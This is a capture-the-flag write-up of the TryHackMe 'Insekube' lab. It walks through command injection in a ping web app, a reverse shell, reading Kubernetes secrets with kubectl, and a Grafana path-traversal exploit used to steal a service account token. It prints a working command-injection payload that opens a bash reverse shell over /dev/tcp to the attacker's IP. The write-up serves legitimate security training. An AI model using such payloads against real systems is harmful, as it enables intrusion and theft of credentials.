THM Writeup: Insekube

Quick article on the THM room “Insekube”….

This was not quick and there is a bug in this room FYI.

Task 1 Scan the system.

A quick scan of the system is all that is needed to answer Q1.

Spin up the machine, and get the flag. I am told they are in the env variables.

The task asks to get this from a reverse shell, so lets have a look at this. Connecting to the application that is within the container, I land on a webpage offering the ability to ping a site. A very quick test shows that the application is vulnerable to Command injection.

This is where I can inject more than the application has been configured for in a single string. This leverages the operators in bash.

Here are examples of how those operators could be used in the application

In this command I have the “&&” Operator, which will execute command 1 then if command one is successful then execute command 2.

The above command uses the || operator, similar to the above that command one has to execute first, however, if it FAILS, then command 2 would run/

Finally in command set 3 we use the ; operator, this will run the next command whether command 1 executes or not.

Lets take a look and see what this looks like in the lab!

Running a random command

Trying an IP and DNS

Trying an IP

Now to Mix it UP!

Notice the word “challenge”, compared to above we see something new! We could from this point get the flag 🙂

TASK 2 RCE… Command Injection

That’s Flag 1

The task asked for reverse connection to get the first flag, but we can see with command injection we could achieve what was needed.

However, lets get that reverse shell 🙂

Start a listener

10.10.10.10 && ls &&  bash -c 'bash -i >& /dev/tcp/10.10.77.49/4444 0>&1'

So we have a terminal!

I want to maybe create something better… lets try 🙂

I decided to use the version of nc from my system and copy it to the target system… or more accurately get the target to pull it from me.

While running tests on this I found that I was going to need to use the tmp directory, so I could write the file.

I found that curl was on the system, soooo here we go

If you needed to upgrade the shell, you could do so as per below, this depends on what command was executed for Bash

What happens in the above command is that I am setting the shell to the env variable /bin/bash. Using script which is a recorded, I get the output to terminal and then I run it in quite with q and finally I push the results to dev null 🙂 nice.

Ideally I would want to carry on upgrading the shell, but lets see how far we can get like this.

I couldn’t pull kubectl straight to the container, so I pulled it to my box, then using the pyhton server I am running pulled it from there.

Once done I was able to start reviewing the task questions.

I did forget at first to chmod the kubectl application for executable status. Once this was done, I could see the following

Now we are attempting to get the secrets!

Task 4 K8s Secrets

kubectl has given me the details of the the secrets for programmatic access to other systems.

Within kubectl, you can describe the secrtet, however it does not reveal the secret directly, so instead the task asks you to get the secret and output the format to json.

Nearly there, that key labelled “flag” has a base64 encoded string.

Throw that into CyberChef

Flag!

Task 5 Recon

Next flag is to find the version of grafana running. So we first want to find out about the environment. to do this I just issue the env command.

We can see the grafana port is 10.105.120.1:3000. Which is a great place to start. However I don’t have direct access to the service, so we can use curl to do this. I also wonder if I could use proxychains here… may try that later.

I initially curl the page and get alot back into the shell, so I think I will push this to a file to give me some grep options.

That, did not work as expected ! ha, however I got lucky and spotted the version in the output.

Now lets check out the CVE

Simply googling around I found the CVE in the exploit db

https://www.exploit-db.com/exploits/50581

Task 6 Lateral Movement

Investigating the exploit

Looking at the exploit there is an LFI vulnerability. To do this I can see that I need to specify a URL + /public/plugins/ + Something from a list of plugins + What I want to read.

So I grabbed the file and with the help of GPT I turned it into a BASH Script. It is in Python, but to save me some effort I turned it to bash. It looks like it will work.

The Script works , but it doesn’t give me a lot to go on.

Knowing what the script does I now instead attempt to curl. I had a few iterations on this, as at first I wasn’t able to get the token back in the response.

Chatting the problem through with a friend, they pointed out that the get request was not pulling the full request I specified! Was a good spot 😀

Adding the parameter –path-as-is made all the difference!

Awesome, we can now throw this token into CyberChef!

We know the account name 🙂

I added the token as an env variable

Now I can use that token in the request.

I check the pods running and then identify the name of the grafana pod. I now issue the follow up command

I am presented with the following, which includes the flag!

Task 7 ROOM BUG !!!!

Now at this point I hit a real blocker.

There seems to be an issue with the images local to the insekube lab. I started to investigate the issue and found this when describing the pod.

Looking at the definition we can see there is a pull for the image, despite the key TryHackMe tell you to use.

Trying to change the imagepull to never yields a similar result

The manifest looks like this, and based on now further research, should have worked in the lab… but it didn’t.

Anyway, once in the node I would have done a find for root.txt … but we will never get to see this.

Leave a comment